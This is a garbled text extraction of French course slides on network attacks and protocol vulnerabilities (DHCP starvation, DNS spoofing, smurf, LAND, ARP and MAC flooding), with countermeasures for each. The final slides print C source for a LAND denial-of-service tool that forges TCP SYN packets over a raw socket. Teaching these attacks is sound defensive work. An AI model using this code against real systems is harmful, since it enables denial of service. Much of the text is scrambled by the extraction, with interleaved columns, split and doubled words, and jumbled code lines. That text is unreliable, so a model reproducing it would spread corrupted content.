Chapitre 2
Chapitre 2
Chapitre 2
Attaques:
Action
A i malveillante
l ill exploitant
l i des
d vulnérabilités
l é bili é d’un
d’ système
è
Cours
Employées pour casser les services de la sécurité en détournant les
mécanismes
Sé ité ett cryptographie
Sécurité t hi Vulnérabilité:
Défaut ou faiblesse dd’un
un système dans sa conception,
conception sa mise en œuvre ou
Chapitre 2: son contrôle interne pouvant mener à une faille de sécurité ou à la violation
de sa politique de sécurité.
Attaques réseaux et vulnérabilités
Une vulnérabilité ppeut être exploitée
p de façon
ç accidentelle ou de façon
ç
protocolaires malicieuse.
Menace:
La possibilité qu’une vulnérabilité soit exploitée accidentellement ou par un
agent malicieux.
…
3 Hdhili M. H Cours sécurité et cryptographie 4
Les attaques réseaux
Attaques passives
Æ Architecture du réseau
Æ Informations d’authentification
Æ …
Des configuration :
Exemple: Firewall mal configuré laissant passer un trafic non autorisé.
Niveau transport
TCP Les attaques niveau application
DNS,, DHCP
Niveau réseau
IP, ICMP
Niveau liaison
Ethernet
Vulnérabilité:
Épuisement des adresses IP – DCHP Starvation
Les requêtes
q DHCP ne sont ppas authentifiées.
Attaque:
Faux serveur DHCP
L’attaquant inonde le serveur avec des messages DHCPREQUEST afin de
réserver toutes les adresses IP disponibles.
L’attaquant doit utiliser une nouvelle adresses MAC pour chaque requête.
Risque:
Dénis de service.
Contre mesures:
Limiter le nombre d’adresses MAC permises sur un port donné.
Authentification
Email Bombing/Spamming
Vulnérabilité:
Données
Les messages DNS ne sont pas authentifiés.
Falsification de l ’adresse d ’origine
Attaque:
Attaque:
q
Bombing:
bi envoii d ’un message répété à une même adresse
d
L’attaquant envoie de faux messages à un serveur DNS local.
Spamming:le message est envoyé à des milliers d ’adresses
Réponse qui spécifie un nom de domaine différent que celui demandé Î à
Objectif:
j
ignorer
congestion du réseau
Réponse qui spécifie un serveur DNS appartenant à un domaine différent de
crash du serveur de messagerie
celui demandé Î douteux
Réponse contenant une adresse suspecte (frauduleuse)
Parade
Supervision, filtrage…
Risque:
R di ti du
Redirection d trafic
t fi légitime
lé iti
Numéro d’ACK
Long. U A P R S F Fenêtre
En-tête R C S S Y I
G K H T N N
Ch k
Checksum P i t
Pointeur urgentt
Options (exemples : négociation du MSS Max segment size (non inclus l’entête
TCP,, p
par defaut 536 bytes),
y ), « Window scale factor »,, No-Op,
p, utilisation d’un
protocole de retransmission sélective RFC 1106 …)
TCP-attaques TCP-attaques
UDP bombing
Données:
Deux services utilisés dans le passé pour le test du réseau et sont activés par
défaut
Service echo: echo des caractères reçus
Exemple: les flags TCP sont placés dans le second fragment, ce qui ne permet
Risque:
pas au filtres de supprimer les connexions indésirable Instabilité du système,
système DoS
Risque
Contre mesure
Établissement de connexions indésirables: intrusions Patches
Contres mesures Î les systèmes récents ne sont plus vulnérable à cette attaque
Fixer, au niveau des filtres, une taille minimale du premier fragment
Vulnérabilité:
Données
L’adresse IP source est contrôlé par l’envoyeur
IP permet la diffusion !
Attaque
Attaque:
L attaquant peut envoyer des attaques tout en personnifiant nn’importe
L’attaquant importe quelle
Inondation du réseau avec des ping ayant des adresses de diffusion et une
source pour ne pas être retracé. adresse source fausse ou d’une victime
Risque:
i
Risques:
i
Utiliser les privilèges de l’adresse usurpée.
Rendre indisponible un service, un système ou un réseau
LAND (Local Area Network Denial of service): Deux types de paquet ICMP :
Les messages d’indication d’erreur;
Vulnérabilité:
Les messages de demande d’information.
Attaque:
Forger plusieurs segments TCP syn @IP source et @IP destination identiques et
égales à l ’adresse de la machine victime
Risques:
i
Types et codes :
La victime répond à elle-même continuellement
Exemples:
DoS: congestion
g de la victime
Parades:
Filtrage, patch sur les systèmes
Parade
Les paquets ICMP-redirect
L ICMP di ne devraient
d i pas être
ê acceptéé par les
l serveurs, (b) Réponse ARP
routeurs et poste utilisateurs
Hdhili M. H Cours sécurité et cryptographie 39 Hdhili M. H Cours sécurité et cryptographie 40
ARP-Attaques ARP-Attaques
Vulnérabilité:
Inondation de la table de commutation TC
Lorsqu’une
q adresse MAC ne se retrouve ppas dans la table TC,, le
Mystification de l’adresse MAC (MAC spoofing) commutateur diffuse la trame sur tous les ports.
Manipulation de l’arbre sous-tendant (spanning tree) Attaque:
Manipulation du VLAN (VLAN hopping)
L’attaquant inonde le commutateur avec de fausses trames.
Le commutateur ajoute les pairs (MAC (source de la trame), Port) dans sa table
q cette table est pleine,
TC. Lorsque p , il enlève des entrées.
Lorsqu’une entrée valide est enlevée, tout le trafic y étant associé est maintenant
diffusé sur tous les ports.
Logiciel macof permet de créer des paquets avec des adresses MAC et IP
aléatoires.
Risque:
Divulgation d’informations sensibles (p.ex. mots de passe) qui ne devraient
pas être envoyées sur un port.
Logiciel dd’analyse
analyse de trafic Ethereal / Wireshark.
Wireshark
Parades: Vulnérabilité:
Lorsqu’une
q adresse MAC ((source)) apparaît
pp sur un autre pport,, le
Limiter le nombre d’adresses MAC permises sur un port donné. commutateur met à jour sa table TC.
Limiter la durée qu’une adresse sera assignée à un port. Attaque:
Une fois pleine de fausses entrées, la table se videra d’elle-même.
Inonder le commutateur avec de fausses trames ayant l’adresse MAC ciblée
Le commutateur ajoute cette nouvelle paire (MAC, Port) dans sa table TC et
Assigner des adresses MAC statiques à des ports.
ports enlève celle q
qui était déjà
j là.
Ces adresses ne seraient jamais enlevées si la table devenait pleine. Concurrence critique avec l’ordinateur légitime.
Les adresses des serveurs ou des équipements importants sont ainsi configurées
Logiciel macof permet de créer de telles trames (paquets).
d
dans lle commutateur. Risque:
Dénis de service
Authentification 802.1X
Divulgation
Di l ti d’informations
d’i f ti sensibles
ibl (p.ex.
( mots
t de
d passe)) quii ne devraient
d i t
L’accès à un port n’est permis qu’après une authentification. pas être envoyées sur un port.
Exemple de code source (attaque LAND) Exemple de code source (attaque LAND)
if((hoste=gethostbyname(argv[1]))!=NULL) bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); ipheader->version=4;
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) ipheader->ihl=sizeof(struct iphdr)/4;
{ ipheader->tot_len=htons(sizeof(struct
fprintf(stderr,"unknown
p t (stde , u o host
ost %s\
%s\n",argv[1]);
,a g [ ]); iphdr)+sizeof(struct tcphdr));
return(-1); ipheader->id=htons(0xF1C);
} ipheader->ttl=255;
if(( i
if((sin.sin_port=htons(atoi(argv[2])))==0)
i h ( i( [2]))) 0)
ipheader->protocol=IP_TCP;
{
ipheader->saddr=sin.sin_addr.s_addr;
fprintf(stderr,"unknown
p p
port %s\n",argv[2]);
g
ipheader->daddr=sin.sin_addr.s_addr;
return(-1);
}
if((
if((sock=socket(AF_INET,SOCK_RAW,255))==-1){
k k t(AF INET SOCK RAW 255)) 1){ tcpheader >th_sport
tcpheader->th sport=sin
sin.sin_port;
sin port;
fprintf(stderr,"couldn't allocate raw socket\n"); tcpheader->th_dport=sin.sin_port;
return(-1);
return( 1); tcpheader->th_seq=htonl(0xF1C);
} tcpheader->th_flags=TH_SYN;
Hdhili M. H Cours sécurité et cryptographie 51 Hdhili M. H Cours sécurité et cryptographie 52
Exemple de code source (attaque LAND)
tcpheader->th_off=sizeof(struct tcphdr)/4;
tcpheader->th_win=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
d h d d dd dd i i dd dd
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct
pseudoheader.length htons(sizeof(struct tcphdr));
Les attaques des logiciels
bcopy((char *) tcpheader,(char *)
&pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->th_sum=checksum((u_short *)
&pseudoheader,12+sizeof(struct tcphdr));
sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct
tcphdr),0,(struct sockaddr *) &sin,sizeof(struct
sockaddr_in));
close(sock);
l ( k) return(0);
t (0)
}
Hdhili M. H 53 Hdhili M. H 54
Cours sécurité et cryptographie Cours sécurité et cryptographie